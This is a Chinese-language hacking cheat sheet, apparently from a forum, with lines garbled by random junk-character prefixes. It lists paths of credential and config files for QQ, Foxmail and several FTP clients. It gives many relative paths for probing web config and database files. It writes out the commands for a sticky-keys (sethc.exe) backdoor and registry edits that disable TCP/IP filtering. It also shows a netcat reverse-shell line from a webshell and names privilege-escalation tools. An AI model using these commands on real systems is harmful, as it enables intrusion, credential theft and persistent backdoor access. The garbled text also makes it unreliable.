. h& ^/ O* N: v, `) Wc:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
* i% T  k" q# p# H7 s' r) mC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
5 U4 B" n* j% s- K* Tc:\Program Files\Tencent\Tm\Bin\Txplatform.exe
$ n6 o- C  K. e0 g5 G6 D3 E8 Jc:\Program Files\Tencent\RTXServer\AppConfig.xml
- B( `4 N$ |- e' g& c: w7 d+ `C:\Program Files\Foxmal\Foxmail.exe
1 ^0 U- w# [% n( ~C:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
( `1 S- S# B2 q: pC:\Program Files\LeapFTP 3.0\LeapFTP.exe
6 b( B9 \% c# ~3 F) m- RC:\Program Files\LeapFTP\LeapFTP.exe
$ W7 }+ W6 g) U% Qc:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
/ `  H& L1 N# o9 Q) l+ Vc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
% ]$ R9 }5 f; K1 tC:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
& ^2 K8 h; d. H2 x, Oc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
5 q% A' O: v& i  r3 u3 vc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
/ L- n9 q' y6 h8 V* B+ ]8 H" ?C:\Program Files\StormII\Storm.exe
. \+ @9 l1 v, K- ~. B
9 k$ X  a' a' N3.网站相对路径:
# L% [5 {5 W; A. [/ n1 z
- m# C% u1 D4 ]( i* X/config.php
../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
6 ?. O4 r- I' T! Q! s../config.inc.php
  h0 l3 J+ O4 w5 K../../../config.inc.php
/conn.php
3 U+ {$ i! N7 Z( n$ t* F./conn.php
../../conn.php
  T. g# X+ E6 i1 v" a4 p' o../conn.php
../../../conn.php
/conn.asp
./conn.asp
../../conn.asp
( U7 }3 p1 b& W/ w5 W../conn.asp
../../../conn.asp
! o. z9 A- @4 l- b/config.inc.php
0 c5 o& o, c0 |( h./config.inc.php
../../config.inc.php
: \/ {9 z/ }8 d/ e3 G../config.inc.php
+ V, C) z/ g6 }! j2 h  [../../../config.inc.php
% M4 m8 f* x, q  Y6 a& C5 J) \3 k7 C/config/config.php
7 b) A& B: [6 k  [0 ?8 r6 m../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
../config/config.inc.php
# |' B! G( a- A! A- A* x) l$ n../../../config/config.inc.php
/config/conn.php
./config/conn.php
3 `  r# I2 ~" w../../config/conn.php
" F- b) T; V# L8 a% t5 P. v8 S8 U../config/conn.php
/ b4 y: u3 Y) D" c  s1 w! Q../../../config/conn.php
) m* g' F# [8 q/config/conn.asp
. L# M: x* r, z2 @" Y8 u& B8 J5 {! r./config/conn.asp
../../config/conn.asp
../config/conn.asp
2 \  o0 L/ U, v9 S' X! A../../../config/conn.asp
/config/config.inc.php
$ h% e  Y) s1 b" I./config/config.inc.php
) R+ W0 o! G; W% }; V# C2 k% i../../config/config.inc.php
../config/config.inc.php
' f; A' a; u: ^../../../config/config.inc.php
/data/config.php
6 {3 x, V8 ?- O% I( p. `; v../../data/config.php
../data/config.php
+ y& R+ M& z* l../../../data/config.php
/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
) Z( a2 q1 v) S7 T1 _../data/config.inc.php
; A4 }& w+ O* R) Q) G../../../data/config.inc.php
/data/conn.php
3 V* @" A. B% T, a7 r./data/conn.php
../../data/conn.php
$ A8 F# D, T1 Y% {: i/ F../data/conn.php
../../../data/conn.php
" {( ~1 D/ x' {, Q+ N/data/conn.asp
./data/conn.asp
8 Y5 W7 I( g  {$ _( F8 T- Q../../data/conn.asp
../data/conn.asp
& r: b2 g( I- {) D' {../../../data/conn.asp
/data/config.inc.php
" ~: k, @# g0 t9 _9 R; b7 u./data/config.inc.php
* c6 u3 |( h, o  e# N5 e6 ]7 F3 y../../data/config.inc.php
../data/config.inc.php
: Q" n- i$ v2 p3 o9 _8 k8 m5 d4 x../../../data/config.inc.php
/include/config.php
$ v9 o8 ^! X1 A# {../../include/config.php
! M) C) o, r/ h# A9 d2 S! l../include/config.php
../../../include/config.php
3 S7 W1 [! R0 Q. A& L2 }/ y, t/include/config.inc.php
- j, A5 R4 K. v5 O./include/config.inc.php
../../include/config.inc.php
" L$ G: w3 q( r../include/config.inc.php
3 B. {0 T2 a/ Z../../../include/config.inc.php
/include/conn.php
./include/conn.php
# t+ G' l* e3 T( o" u../../include/conn.php
! B4 c- w7 E# b  R, W% b$ T6 O../include/conn.php
../../../include/conn.php
/include/conn.asp
. G. t$ ^$ {, ~, U4 L./include/conn.asp
" ?# y0 O! [7 q) k../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
../../../include/config.inc.php
8 Q! x9 k( p; c6 t0 P$ _* }7 J/inc/config.php
$ C0 N( L& e+ U4 D../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
: i6 p1 C0 ^# u7 }+ w( o./inc/config.inc.php
4 k" r" a' A4 I* e% U7 `6 `../../inc/config.inc.php
../inc/config.inc.php
) O1 W( T" `2 f4 u( \../../../inc/config.inc.php
/inc/conn.php
8 ]5 w9 S' v4 n./inc/conn.php
4 J3 j% C) c3 x2 i( i../../inc/conn.php
../inc/conn.php
! L2 l% y7 r& W../../../inc/conn.php
/inc/conn.asp
' x' [% o; a3 G/ }8 G9 }# ^( G( q./inc/conn.asp
/ Q- u7 H9 u; }5 w3 k: i../../inc/conn.asp
../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
./index.php
' t* S2 N- k( I. T3 ?+ w../../index.php
../index.php
../../../index.php
/index.asp
./index.asp
../../index.asp
( `* [# e9 ^$ P9 u- u1 Q../index.asp
4 _6 P) v& ^+ ?' @" o& k( r! N1 ]../../../index.asp
替换SHIFT后门
  Z7 _7 s' U! q; D) |　attrib c:\windows\system32\sethc.exe -h -r -s
  `8 |; B- T8 Z2 p! a
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe

1 e* m3 o! j1 {, d! c# B$ `　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

3 O. g# J; g6 v: v. v& M　　attrib c:\windows\system32\sethc.exe +h +r +s
/ s9 e- m) X" E  |9 h% }! I2 `  y
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
% c6 v! r& a8 {0 l. f. G去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
: ?9 K* w: `/ [9 n. v) ]1 HHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
3 i. t9 }' z& HHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
8 y  L3 P, i: Q) ]2 l
* t5 x* u- T1 \4 m0 p& N4 f分别用
) d  d7 P9 _3 _% g7 D- n! ^  b7 Vregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
& h% B# u5 V, c8 T( Tregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
+ Y/ X/ U" }8 H) a1 Aregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
1 g4 i$ V0 q5 }0 _" P命令来导出注册表项

) h) \0 A! I0 W3 p2 v然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
& Y, K9 w  k4 J4 u! mregedit -s D:\a.reg
regedit -s D:\b.reg
, d' b  D6 e; q4 q( |. |regedit -s D:\c.reg
导入注册表即可

0 M" L. E( O/ [  }8 S1 Ewebshell提权小技巧
" ^7 N. n: M4 r# C/ _5 ~6 @2 F8 ncmd路径:
% X' k. p1 f. K' f0 b7 U2 Q8 e% A- P/ rc:\windows\temp\cmd.exe
$ M6 A+ J0 L( v% D1 mnc也在同目录下
例如反弹cmdshell：
"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
2 o  H. Q2 L7 k  d5 ]* c
7 K" O) p5 F& @8 L1 E4 q而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
( j: j' \# {0 @: a3 e% T% R命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
# x1 x) I: _( \; W; D7 L6 B& F' u; ]5 ?却能成功。。
% a- H- a' P# n' Q! a8 V这个不是重点
  t6 K% Q; c6 @. k0 T7 v我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功